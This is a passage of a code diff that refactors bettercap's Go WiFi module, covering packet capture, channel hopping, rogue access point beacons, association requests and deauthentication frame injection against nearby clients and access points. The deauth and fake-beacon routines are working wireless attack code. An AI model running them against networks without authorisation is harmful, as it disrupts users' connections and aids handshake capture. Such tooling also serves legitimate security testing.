if station, found := mod.Session.WiFi.Get(dst); found {
|
||||||
station.Received += bytes
|
station.Received += bytes
|
||||||
}
|
}
|
||||||
|
|
||||||
src := dot11.Address2.String()
|
src := dot11.Address2.String()
|
||||||
if station, found := w.Session.WiFi.Get(src); found {
|
if station, found := mod.Session.WiFi.Get(src); found {
|
||||||
station.Sent += bytes
|
station.Sent += bytes
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) Start() error {
|
func (mod *WiFiModule) Start() error {
|
||||||
if err := w.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
w.SetRunning(true, func() {
|
mod.SetRunning(true, func() {
|
||||||
// start channel hopper if needed
|
// start channel hopper if needed
|
||||||
if w.channel == 0 && w.source == "" {
|
if mod.channel == 0 && mod.source == "" {
|
||||||
go w.channelHopper()
|
go mod.channelHopper()
|
||||||
}
|
}
|
||||||
|
|
||||||
// start the pruner
|
// start the pruner
|
||||||
go w.stationPruner()
|
go mod.stationPruner()
|
||||||
|
|
||||||
w.reads.Add(1)
|
mod.reads.Add(1)
|
||||||
defer w.reads.Done()
|
defer mod.reads.Done()
|
||||||
|
|
||||||
src := gopacket.NewPacketSource(w.handle, w.handle.LinkType())
|
src := gopacket.NewPacketSource(mod.handle, mod.handle.LinkType())
|
||||||
w.pktSourceChan = src.Packets()
|
mod.pktSourceChan = src.Packets()
|
||||||
for packet := range w.pktSourceChan {
|
for packet := range mod.pktSourceChan {
|
||||||
if !w.Running() {
|
if !mod.Running() {
|
||||||
break
|
break
|
||||||
} else if packet == nil {
|
} else if packet == nil {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
w.Session.Queue.TrackPacket(uint64(len(packet.Data())))
|
mod.Session.Queue.TrackPacket(uint64(len(packet.Data())))
|
||||||
|
|
||||||
// perform initial dot11 parsing and layers validation
|
// perform initial dot11 parsing and layers validation
|
||||||
if ok, radiotap, dot11 := packets.Dot11Parse(packet); ok {
|
if ok, radiotap, dot11 := packets.Dot11Parse(packet); ok {
|
||||||
// check FCS checksum
|
// check FCS checksum
|
||||||
if w.skipBroken && !dot11.ChecksumValid() {
|
if mod.skipBroken && !dot11.ChecksumValid() {
|
||||||
w.Debug("skipping dot11 packet with invalid checksum.")
|
mod.Debug("skipping dot11 packet with invalid checksum.")
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
w.discoverProbes(radiotap, dot11, packet)
|
mod.discoverProbes(radiotap, dot11, packet)
|
||||||
w.discoverAccessPoints(radiotap, dot11, packet)
|
mod.discoverAccessPoints(radiotap, dot11, packet)
|
||||||
w.discoverClients(radiotap, dot11, packet)
|
mod.discoverClients(radiotap, dot11, packet)
|
||||||
w.discoverHandshakes(radiotap, dot11, packet)
|
mod.discoverHandshakes(radiotap, dot11, packet)
|
||||||
w.updateInfo(dot11, packet)
|
mod.updateInfo(dot11, packet)
|
||||||
w.updateStats(dot11, packet)
|
mod.updateStats(dot11, packet)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
w.pktSourceChanClosed = true
|
mod.pktSourceChanClosed = true
|
||||||
})
|
})
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) Stop() error {
|
func (mod *WiFiModule) Stop() error {
|
||||||
return w.SetRunning(false, func() {
|
return mod.SetRunning(false, func() {
|
||||||
// wait any pending write operation
|
// wait any pending write operation
|
||||||
w.writes.Wait()
|
mod.writes.Wait()
|
||||||
// signal the main for loop we want to exit
|
// signal the main for loop we want to exit
|
||||||
if !w.pktSourceChanClosed {
|
if !mod.pktSourceChanClosed {
|
||||||
w.pktSourceChan <- nil
|
mod.pktSourceChan <- nil
|
||||||
}
|
}
|
||||||
w.reads.Wait()
|
mod.reads.Wait()
|
||||||
// close the pcap handle to make the main for exit
|
// close the pcap handle to make the main for exit
|
||||||
w.handle.Close()
|
mod.handle.Close()
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
|
@ -14,54 +14,54 @@ import (
|
||||||
|
|
||||||
var errNoRecon = errors.New("Module wifi.ap requires module wifi.recon to be activated.")
|
var errNoRecon = errors.New("Module wifi.ap requires module wifi.recon to be activated.")
|
||||||
|
|
||||||
func (w *WiFiModule) parseApConfig() (err error) {
|
func (mod *WiFiModule) parseApConfig() (err error) {
|
||||||
var bssid string
|
var bssid string
|
||||||
if err, w.apConfig.SSID = w.StringParam("wifi.ap.ssid"); err != nil {
|
if err, mod.apConfig.SSID = mod.StringParam("wifi.ap.ssid"); err != nil {
|
||||||
return
|
return
|
||||||
} else if err, bssid = w.StringParam("wifi.ap.bssid"); err != nil {
|
} else if err, bssid = mod.StringParam("wifi.ap.bssid"); err != nil {
|
||||||
return
|
return
|
||||||
} else if w.apConfig.BSSID, err = net.ParseMAC(network.NormalizeMac(bssid)); err != nil {
|
} else if mod.apConfig.BSSID, err = net.ParseMAC(network.NormalizeMac(bssid)); err != nil {
|
||||||
return
|
return
|
||||||
} else if err, w.apConfig.Channel = w.IntParam("wifi.ap.channel"); err != nil {
|
} else if err, mod.apConfig.Channel = mod.IntParam("wifi.ap.channel"); err != nil {
|
||||||
return
|
return
|
||||||
} else if err, w.apConfig.Encryption = w.BoolParam("wifi.ap.encryption"); err != nil {
|
} else if err, mod.apConfig.Encryption = mod.BoolParam("wifi.ap.encryption"); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) startAp() error {
|
func (mod *WiFiModule) startAp() error {
|
||||||
// we need channel hopping and packet injection for this
|
// we need channel hopping and packet injection for this
|
||||||
if !w.Running() {
|
if !mod.Running() {
|
||||||
return errNoRecon
|
return errNoRecon
|
||||||
} else if w.apRunning {
|
} else if mod.apRunning {
|
||||||
return session.ErrAlreadyStarted
|
return session.ErrAlreadyStarted
|
||||||
}
|
}
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
w.apRunning = true
|
mod.apRunning = true
|
||||||
defer func() {
|
defer func() {
|
||||||
w.apRunning = false
|
mod.apRunning = false
|
||||||
}()
|
}()
|
||||||
|
|
||||||
enc := tui.Yellow("WPA2")
|
enc := tui.Yellow("WPA2")
|
||||||
if !w.apConfig.Encryption {
|
if !mod.apConfig.Encryption {
|
||||||
enc = tui.Green("Open")
|
enc = tui.Green("Open")
|
||||||
}
|
}
|
||||||
w.Info("sending beacons as SSID %s (%s) on channel %d (%s).",
|
mod.Info("sending beacons as SSID %s (%s) on channel %d (%s).",
|
||||||
tui.Bold(w.apConfig.SSID),
|
tui.Bold(mod.apConfig.SSID),
|
||||||
w.apConfig.BSSID.String(),
|
mod.apConfig.BSSID.String(),
|
||||||
w.apConfig.Channel,
|
mod.apConfig.Channel,
|
||||||
enc)
|
enc)
|
||||||
|
|
||||||
for seqn := uint16(0); w.Running(); seqn++ {
|
for seqn := uint16(0); mod.Running(); seqn++ {
|
||||||
w.writes.Add(1)
|
mod.writes.Add(1)
|
||||||
defer w.writes.Done()
|
defer mod.writes.Done()
|
||||||
|
|
||||||
if err, pkt := packets.NewDot11Beacon(w.apConfig, seqn); err != nil {
|
if err, pkt := packets.NewDot11Beacon(mod.apConfig, seqn); err != nil {
|
||||||
w.Error("could not create beacon packet: %s", err)
|
mod.Error("could not create beacon packet: %s", err)
|
||||||
} else {
|
} else {
|
||||||
w.injectPacket(pkt)
|
mod.injectPacket(pkt)
|
||||||
}
|
}
|
||||||
|
|
||||||
time.Sleep(100 * time.Millisecond)
|
time.Sleep(100 * time.Millisecond)
|
||||||
|
|
|
@ -10,22 +10,22 @@ import (
|
||||||
"github.com/bettercap/bettercap/packets"
|
"github.com/bettercap/bettercap/packets"
|
||||||
)
|
)
|
||||||
|
|
||||||
func (w *WiFiModule) sendAssocPacket(ap *network.AccessPoint) {
|
func (mod *WiFiModule) sendAssocPacket(ap *network.AccessPoint) {
|
||||||
if err, pkt := packets.NewDot11Auth(w.Session.Interface.HW, ap.HW, 1); err != nil {
|
if err, pkt := packets.NewDot11Auth(mod.Session.Interface.HW, ap.HW, 1); err != nil {
|
||||||
w.Error("cloud not create auth packet: %s", err)
|
mod.Error("cloud not create auth packet: %s", err)
|
||||||
} else {
|
} else {
|
||||||
w.injectPacket(pkt)
|
mod.injectPacket(pkt)
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, pkt := packets.NewDot11AssociationRequest(w.Session.Interface.HW, ap.HW, ap.ESSID(), 1); err != nil {
|
if err, pkt := packets.NewDot11AssociationRequest(mod.Session.Interface.HW, ap.HW, ap.ESSID(), 1); err != nil {
|
||||||
w.Error("cloud not create association request packet: %s", err)
|
mod.Error("cloud not create association request packet: %s", err)
|
||||||
} else {
|
} else {
|
||||||
w.injectPacket(pkt)
|
mod.injectPacket(pkt)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) skipAssoc(to net.HardwareAddr) bool {
|
func (mod *WiFiModule) skipAssoc(to net.HardwareAddr) bool {
|
||||||
for _, mac := range w.assocSkip {
|
for _, mac := range mod.assocSkip {
|
||||||
if bytes.Equal(to, mac) {
|
if bytes.Equal(to, mac) {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
@ -33,51 +33,51 @@ func (w *WiFiModule) skipAssoc(to net.HardwareAddr) bool {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) isAssocSilent() bool {
|
func (mod *WiFiModule) isAssocSilent() bool {
|
||||||
if err, is := w.BoolParam("wifi.assoc.silent"); err != nil {
|
if err, is := mod.BoolParam("wifi.assoc.silent"); err != nil {
|
||||||
w.Warning("%v", err)
|
mod.Warning("%v", err)
|
||||||
} else {
|
} else {
|
||||||
w.assocSilent = is
|
mod.assocSilent = is
|
||||||
}
|
}
|
||||||
return w.assocSilent
|
return mod.assocSilent
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) doAssocOpen() bool {
|
func (mod *WiFiModule) doAssocOpen() bool {
|
||||||
if err, is := w.BoolParam("wifi.assoc.open"); err != nil {
|
if err, is := mod.BoolParam("wifi.assoc.open"); err != nil {
|
||||||
w.Warning("%v", err)
|
mod.Warning("%v", err)
|
||||||
} else {
|
} else {
|
||||||
w.assocOpen = is
|
mod.assocOpen = is
|
||||||
}
|
}
|
||||||
return w.assocOpen
|
return mod.assocOpen
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) startAssoc(to net.HardwareAddr) error {
|
func (mod *WiFiModule) startAssoc(to net.HardwareAddr) error {
|
||||||
// parse skip list
|
// parse skip list
|
||||||
if err, assocSkip := w.StringParam("wifi.assoc.skip"); err != nil {
|
if err, assocSkip := mod.StringParam("wifi.assoc.skip"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if macs, err := network.ParseMACs(assocSkip); err != nil {
|
} else if macs, err := network.ParseMACs(assocSkip); err != nil {
|
||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
w.assocSkip = macs
|
mod.assocSkip = macs
|
||||||
}
|
}
|
||||||
|
|
||||||
// if not already running, temporarily enable the pcap handle
|
// if not already running, temporarily enable the pcap handle
|
||||||
// for packet injection
|
// for packet injection
|
||||||
if !w.Running() {
|
if !mod.Running() {
|
||||||
if err := w.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
defer w.handle.Close()
|
defer mod.handle.Close()
|
||||||
}
|
}
|
||||||
|
|
||||||
toAssoc := make([]*network.AccessPoint, 0)
|
toAssoc := make([]*network.AccessPoint, 0)
|
||||||
isBcast := network.IsBroadcastMac(to)
|
isBcast := network.IsBroadcastMac(to)
|
||||||
for _, ap := range w.Session.WiFi.List() {
|
for _, ap := range mod.Session.WiFi.List() {
|
||||||
if isBcast || bytes.Equal(ap.HW, to) {
|
if isBcast || bytes.Equal(ap.HW, to) {
|
||||||
if !w.skipAssoc(ap.HW) {
|
if !mod.skipAssoc(ap.HW) {
|
||||||
toAssoc = append(toAssoc, ap)
|
toAssoc = append(toAssoc, ap)
|
||||||
} else {
|
} else {
|
||||||
w.Debug("skipping ap:%v because skip list %v", ap, w.assocSkip)
|
mod.Debug("skipping ap:%v because skip list %v", ap, mod.assocSkip)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -90,8 +90,8 @@ func (w *WiFiModule) startAssoc(to net.HardwareAddr) error {
|
||||||
}
|
}
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
w.writes.Add(1)
|
mod.writes.Add(1)
|
||||||
defer w.writes.Done()
|
defer mod.writes.Done()
|
||||||
|
|
||||||
// since we need to change the wifi adapter channel for each
|
// since we need to change the wifi adapter channel for each
|
||||||
// association request, let's sort by channel so we do the minimum
|
// association request, let's sort by channel so we do the minimum
|
||||||
|
@ -102,19 +102,19 @@ func (w *WiFiModule) startAssoc(to net.HardwareAddr) error {
|
||||||
|
|
||||||
// send the association request frames
|
// send the association request frames
|
||||||
for _, ap := range toAssoc {
|
for _, ap := range toAssoc {
|
||||||
if w.Running() {
|
if mod.Running() {
|
||||||
logger := w.Info
|
logger := mod.Info
|
||||||
if w.isAssocSilent() {
|
if mod.isAssocSilent() {
|
||||||
logger = w.Debug
|
logger = mod.Debug
|
||||||
}
|
}
|
||||||
|
|
||||||
if ap.IsOpen() && !w.doAssocOpen() {
|
if ap.IsOpen() && !mod.doAssocOpen() {
|
||||||
w.Debug("skipping association for open network %s (wifi.assoc.open is false)", ap.ESSID())
|
mod.Debug("skipping association for open network %s (wifi.assoc.open is false)", ap.ESSID())
|
||||||
} else {
|
} else {
|
||||||
logger("sending association request to AP %s (channel:%d encryption:%s)", ap.ESSID(), ap.Channel(), ap.Encryption)
|
logger("sending association request to AP %s (channel:%d encryption:%s)", ap.ESSID(), ap.Channel(), ap.Encryption)
|
||||||
|
|
||||||
w.onChannel(ap.Channel(), func() {
|
mod.onChannel(ap.Channel(), func() {
|
||||||
w.sendAssocPacket(ap)
|
mod.sendAssocPacket(ap)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -11,37 +11,37 @@ import (
|
||||||
"github.com/bettercap/bettercap/packets"
|
"github.com/bettercap/bettercap/packets"
|
||||||
)
|
)
|
||||||
|
|
||||||
func (w *WiFiModule) injectPacket(data []byte) {
|
func (mod *WiFiModule) injectPacket(data []byte) {
|
||||||
if err := w.handle.WritePacketData(data); err != nil {
|
if err := mod.handle.WritePacketData(data); err != nil {
|
||||||
w.Error("could not inject WiFi packet: %s", err)
|
mod.Error("could not inject WiFi packet: %s", err)
|
||||||
w.Session.Queue.TrackError()
|
mod.Session.Queue.TrackError()
|
||||||
} else {
|
} else {
|
||||||
w.Session.Queue.TrackSent(uint64(len(data)))
|
mod.Session.Queue.TrackSent(uint64(len(data)))
|
||||||
}
|
}
|
||||||
// let the network card breath a little
|
// let the network card breath a little
|
||||||
time.Sleep(10 * time.Millisecond)
|
time.Sleep(10 * time.Millisecond)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) sendDeauthPacket(ap net.HardwareAddr, client net.HardwareAddr) {
|
func (mod *WiFiModule) sendDeauthPacket(ap net.HardwareAddr, client net.HardwareAddr) {
|
||||||
for seq := uint16(0); seq < 64 && w.Running(); seq++ {
|
for seq := uint16(0); seq < 64 && mod.Running(); seq++ {
|
||||||
if err, pkt := packets.NewDot11Deauth(ap, client, ap, seq); err != nil {
|
if err, pkt := packets.NewDot11Deauth(ap, client, ap, seq); err != nil {
|
||||||
w.Error("could not create deauth packet: %s", err)
|
mod.Error("could not create deauth packet: %s", err)
|
||||||
continue
|
continue
|
||||||
} else {
|
} else {
|
||||||
w.injectPacket(pkt)
|
mod.injectPacket(pkt)
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, pkt := packets.NewDot11Deauth(client, ap, ap, seq); err != nil {
|
if err, pkt := packets.NewDot11Deauth(client, ap, ap, seq); err != nil {
|
||||||
w.Error("could not create deauth packet: %s", err)
|
mod.Error("could not create deauth packet: %s", err)
|
||||||
continue
|
continue
|
||||||
} else {
|
} else {
|
||||||
w.injectPacket(pkt)
|
mod.injectPacket(pkt)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) skipDeauth(to net.HardwareAddr) bool {
|
func (mod *WiFiModule) skipDeauth(to net.HardwareAddr) bool {
|
||||||
for _, mac := range w.deauthSkip {
|
for _, mac := range mod.deauthSkip {
|
||||||
if bytes.Equal(to, mac) {
|
if bytes.Equal(to, mac) {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
@ -49,41 +49,41 @@ func (w *WiFiModule) skipDeauth(to net.HardwareAddr) bool {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) isDeauthSilent() bool {
|
func (mod *WiFiModule) isDeauthSilent() bool {
|
||||||
if err, is := w.BoolParam("wifi.deauth.silent"); err != nil {
|
if err, is := mod.BoolParam("wifi.deauth.silent"); err != nil {
|
||||||
w.Warning("%v", err)
|
mod.Warning("%v", err)
|
||||||
} else {
|
} else {
|
||||||
w.deauthSilent = is
|
mod.deauthSilent = is
|
||||||
}
|
}
|
||||||
return w.deauthSilent
|
return mod.deauthSilent
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) doDeauthOpen() bool {
|
func (mod *WiFiModule) doDeauthOpen() bool {
|
||||||
if err, is := w.BoolParam("wifi.deauth.open"); err != nil {
|
if err, is := mod.BoolParam("wifi.deauth.open"); err != nil {
|
||||||
w.Warning("%v", err)
|
mod.Warning("%v", err)
|
||||||
} else {
|
} else {
|
||||||
w.deauthOpen = is
|
mod.deauthOpen = is
|
||||||
}
|
}
|
||||||
return w.deauthOpen
|
return mod.deauthOpen
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) startDeauth(to net.HardwareAddr) error {
|
func (mod *WiFiModule) startDeauth(to net.HardwareAddr) error {
|
||||||
// parse skip list
|
// parse skip list
|
||||||
if err, deauthSkip := w.StringParam("wifi.deauth.skip"); err != nil {
|
if err, deauthSkip := mod.StringParam("wifi.deauth.skip"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if macs, err := network.ParseMACs(deauthSkip); err != nil {
|
} else if macs, err := network.ParseMACs(deauthSkip); err != nil {
|
||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
w.deauthSkip = macs
|
mod.deauthSkip = macs
|
||||||
}
|
}
|
||||||
|
|
||||||
// if not already running, temporarily enable the pcap handle
|
// if not already running, temporarily enable the pcap handle
|
||||||
// for packet injection
|
// for packet injection
|
||||||
if !w.Running() {
|
if !mod.Running() {
|
||||||
if err := w.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
defer w.handle.Close()
|
defer mod.handle.Close()
|
||||||
}
|
}
|
||||||
|
|
||||||
type flow struct {
|
type flow struct {
|
||||||
|
@ -93,14 +93,14 @@ func (w *WiFiModule) startDeauth(to net.HardwareAddr) error {
|
||||||
|
|
||||||
toDeauth := make([]flow, 0)
|
toDeauth := make([]flow, 0)
|
||||||
isBcast := network.IsBroadcastMac(to)
|
isBcast := network.IsBroadcastMac(to)
|
||||||
for _, ap := range w.Session.WiFi.List() {
|
for _, ap := range mod.Session.WiFi.List() {
|
||||||
isAP := bytes.Equal(ap.HW, to)
|
isAP := bytes.Equal(ap.HW, to)
|
||||||
for _, client := range ap.Clients() {
|
for _, client := range ap.Clients() {
|
||||||
if isBcast || isAP || bytes.Equal(client.HW, to) {
|
if isBcast || isAP || bytes.Equal(client.HW, to) {
|
||||||
if !w.skipDeauth(ap.HW) && !w.skipDeauth(client.HW) {
|
if !mod.skipDeauth(ap.HW) && !mod.skipDeauth(client.HW) {
|
||||||
toDeauth = append(toDeauth, flow{Ap: ap, Client: client})
|
toDeauth = append(toDeauth, flow{Ap: ap, Client: client})
|
||||||
} else {
|
} else {
|
||||||
w.Debug("skipping ap:%v client:%v because skip list %v", ap, client, w.deauthSkip)
|
mod.Debug("skipping ap:%v client:%v because skip list %v", ap, client, mod.deauthSkip)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -114,8 +114,8 @@ func (w *WiFiModule) startDeauth(to net.HardwareAddr) error {
|
||||||
}
|
}
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
w.writes.Add(1)
|
mod.writes.Add(1)
|
||||||
defer w.writes.Done()
|
defer mod.writes.Done()
|
||||||
|
|
||||||
// since we need to change the wifi adapter channel for each
|
// since we need to change the wifi adapter channel for each
|
||||||
// deauth packet, let's sort by channel so we do the minimum
|
// deauth packet, let's sort by channel so we do the minimum
|
||||||
|
@ -128,19 +128,19 @@ func (w *WiFiModule) startDeauth(to net.HardwareAddr) error {
|
||||||
for _, deauth := range toDeauth {
|
for _, deauth := range toDeauth {
|
||||||
client := deauth.Client
|
client := deauth.Client
|
||||||
ap := deauth.Ap
|
ap := deauth.Ap
|
||||||
if w.Running() {
|
if mod.Running() {
|
||||||
logger := w.Info
|
logger := mod.Info
|
||||||
if w.isDeauthSilent() {
|
if mod.isDeauthSilent() {
|
||||||
logger = w.Debug
|
logger = mod.Debug
|
||||||
}
|
}
|
||||||
|
|
||||||
if ap.IsOpen() && !w.doDeauthOpen() {
|
if ap.IsOpen() && !mod.doDeauthOpen() {
|
||||||
w.Debug("skipping deauth for open network %s (wifi.deauth.open is false)", ap.ESSID())
|
mod.Debug("skipping deauth for open network %s (wifi.deauth.open is false)", ap.ESSID())
|
||||||
} else {
|
} else {
|
||||||
logger("deauthing client %s from AP %s (channel:%d encryption:%s)", client.String(), ap.ESSID(), ap.Channel(), ap.Encryption)
|
logger("deauthing client %s from AP %s (channel:%d encryption:%s)", client.String(), ap.ESSID(), ap.Channel(), ap.Encryption)
|
||||||
|
|
||||||
w.onChannel(ap.Channel(), func() {
|
mod.onChannel(ap.Channel(), func() {
|
||||||
w.sendDeauthPacket(ap.HW, client.HW)
|
mod.sendDeauthPacket(ap.HW, client.HW)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -6,12 +6,12 @@ import (
|
||||||
"github.com/bettercap/bettercap/network"
|
"github.com/bettercap/bettercap/network"
|
||||||
)
|
)
|
||||||
|
|
||||||
type WiFiClientEvent struct {
|
type ClientEvent struct {
|
||||||
AP *network.AccessPoint
|
AP *network.AccessPoint
|
||||||
Client *network.Station
|
Client *network.Station
|
||||||
}
|
}
|
||||||
|
|
||||||
type WiFiProbeEvent struct {
|
type ProbeEvent struct {
|
||||||
FromAddr net.HardwareAddr
|
FromAddr net.HardwareAddr
|
||||||
FromVendor string
|
FromVendor string
|
||||||
FromAlias string
|
FromAlias string
|
||||||
|
@ -19,7 +19,7 @@ type WiFiProbeEvent struct {
|
||||||
RSSI int8
|
RSSI int8
|
||||||
}
|
}
|
||||||
|
|
||||||
type WiFiHandshakeEvent struct {
|
type HandshakeEvent struct {
|
||||||
File string
|
File string
|
||||||
NewPackets int
|
NewPackets int
|
||||||
AP net.HardwareAddr
|
AP net.HardwareAddr
|
||||||
|
|
|
@ -6,64 +6,64 @@ import (
|
||||||
"github.com/bettercap/bettercap/network"
|
"github.com/bettercap/bettercap/network"
|
||||||
)
|
)
|
||||||
|
|
||||||
func (w *WiFiModule) onChannel(channel int, cb func()) {
|
func (mod *WiFiModule) onChannel(channel int, cb func()) {
|
||||||
w.chanLock.Lock()
|
mod.chanLock.Lock()
|
||||||
defer w.chanLock.Unlock()
|
defer mod.chanLock.Unlock()
|
||||||
|
|
||||||
prev := w.stickChan
|
prev := mod.stickChan
|
||||||
w.stickChan = channel
|
mod.stickChan = channel
|
||||||
|
|
||||||
if err := network.SetInterfaceChannel(w.Session.Interface.Name(), channel); err != nil {
|
if err := network.SetInterfaceChannel(mod.Session.Interface.Name(), channel); err != nil {
|
||||||
w.Warning("error while hopping to channel %d: %s", channel, err)
|
mod.Warning("error while hopping to channel %d: %s", channel, err)
|
||||||
} else {
|
} else {
|
||||||
w.Debug("hopped on channel %d", channel)
|
mod.Debug("hopped on channel %d", channel)
|
||||||
}
|
}
|
||||||
|
|
||||||
cb()
|
cb()
|
||||||
|
|
||||||
w.stickChan = prev
|
mod.stickChan = prev
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) channelHopper() {
|
func (mod *WiFiModule) channelHopper() {
|
||||||
w.reads.Add(1)
|
mod.reads.Add(1)
|
||||||
defer w.reads.Done()
|
defer mod.reads.Done()
|
||||||
|
|
||||||
w.Info("channel hopper started.")
|
mod.Info("channel hopper started.")
|
||||||
|
|
||||||
for w.Running() {
|
for mod.Running() {
|
||||||
delay := w.hopPeriod
|
delay := mod.hopPeriod
|
||||||
// if we have both 2.4 and 5ghz capabilities, we have
|
// if we have both 2.4 and 5ghz capabilities, we have
|
||||||
// more channels, therefore we need to increase the time
|
// more channels, therefore we need to increase the time
|
||||||
// we hop on each one otherwise me lose information
|
// we hop on each one otherwise me lose information
|
||||||
if len(w.frequencies) > 14 {
|
if len(mod.frequencies) > 14 {
|
||||||
delay = delay * 2
|
delay = delay * 2
|
||||||
}
|
}
|
||||||
|
|
||||||
frequencies := w.frequencies
|
frequencies := mod.frequencies
|
||||||
|
|
||||||
loopCurrentChannels:
|
loopCurrentChannels:
|
||||||
for _, frequency := range frequencies {
|
for _, frequency := range frequencies {
|
||||||
channel := network.Dot11Freq2Chan(frequency)
|
channel := network.Dot11Freq2Chan(frequency)
|
||||||
// stick to the access point channel as long as it's selected
|
// stick to the access point channel as long as it's selected
|
||||||
// or as long as we're deauthing on it
|
// or as long as we're deauthing on it
|
||||||
if w.stickChan != 0 {
|
if mod.stickChan != 0 {
|
||||||
channel = w.stickChan
|
channel = mod.stickChan
|
||||||
}
|
}
|
||||||
|
|
||||||
w.Debug("hopping on channel %d", channel)
|
mod.Debug("hopping on channel %d", channel)
|
||||||
|
|
||||||
w.chanLock.Lock()
|
mod.chanLock.Lock()
|
||||||
if err := network.SetInterfaceChannel(w.Session.Interface.Name(), channel); err != nil {
|
if err := network.SetInterfaceChannel(mod.Session.Interface.Name(), channel); err != nil {
|
||||||
w.Warning("error while hopping to channel %d: %s", channel, err)
|
mod.Warning("error while hopping to channel %d: %s", channel, err)
|
||||||
}
|
}
|
||||||
w.chanLock.Unlock()
|
mod.chanLock.Unlock()
|
||||||
|
|
||||||
select {
|
select {
|
||||||
case _ = <-w.hopChanges:
|
case _ = <-mod.hopChanges:
|
||||||
w.Debug("hop changed")
|
mod.Debug("hop changed")
|
||||||
break loopCurrentChannels
|
break loopCurrentChannels
|
||||||
case <-time.After(delay):
|
case <-time.After(delay):
|
||||||
if !w.Running() {
|
if !mod.Running() {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -13,28 +13,28 @@ import (
|
||||||
|
|
||||||
var maxStationTTL = 5 * time.Minute
|
var maxStationTTL = 5 * time.Minute
|
||||||
|
|
||||||
func (w *WiFiModule) stationPruner() {
|
func (mod *WiFiModule) stationPruner() {
|
||||||
w.reads.Add(1)
|
mod.reads.Add(1)
|
||||||
defer w.reads.Done()
|
defer mod.reads.Done()
|
||||||
|
|
||||||
w.Debug("wifi stations pruner started.")
|
mod.Debug("wifi stations pruner started.")
|
||||||
for w.Running() {
|
for mod.Running() {
|
||||||
// loop every AP
|
// loop every AP
|
||||||
for _, ap := range w.Session.WiFi.List() {
|
for _, ap := range mod.Session.WiFi.List() {
|
||||||
sinceLastSeen := time.Since(ap.LastSeen)
|
sinceLastSeen := time.Since(ap.LastSeen)
|
||||||
if sinceLastSeen > maxStationTTL {
|
if sinceLastSeen > maxStationTTL {
|
||||||
w.Debug("station %s not seen in %s, removing.", ap.BSSID(), sinceLastSeen)
|
mod.Debug("station %s not seen in %s, removing.", ap.BSSID(), sinceLastSeen)
|
||||||
w.Session.WiFi.Remove(ap.BSSID())
|
mod.Session.WiFi.Remove(ap.BSSID())
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
// loop every AP client
|
// loop every AP client
|
||||||
for _, c := range ap.Clients() {
|
for _, c := range ap.Clients() {
|
||||||
sinceLastSeen := time.Since(c.LastSeen)
|
sinceLastSeen := time.Since(c.LastSeen)
|
||||||
if sinceLastSeen > maxStationTTL {
|
if sinceLastSeen > maxStationTTL {
|
||||||
w.Debug("client %s of station %s not seen in %s, removing.", c.String(), ap.BSSID(), sinceLastSeen)
|
mod.Debug("client %s of station %s not seen in %s, removing.", c.String(), ap.BSSID(), sinceLastSeen)
|
||||||
ap.RemoveClient(c.BSSID())
|
ap.RemoveClient(c.BSSID())
|
||||||
|
|
||||||
w.Session.Events.Add("wifi.client.lost", WiFiClientEvent{
|
mod.Session.Events.Add("wifi.client.lost", ClientEvent{
|
||||||
AP: ap,
|
AP: ap,
|
||||||
Client: c,
|
Client: c,
|
||||||
})
|
})
|
||||||
|
@ -45,18 +45,18 @@ func (w *WiFiModule) stationPruner() {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) discoverAccessPoints(radiotap *layers.RadioTap, dot11 *layers.Dot11, packet gopacket.Packet) {
|
func (mod *WiFiModule) discoverAccessPoints(radiotap *layers.RadioTap, dot11 *layers.Dot11, packet gopacket.Packet) {
|
||||||
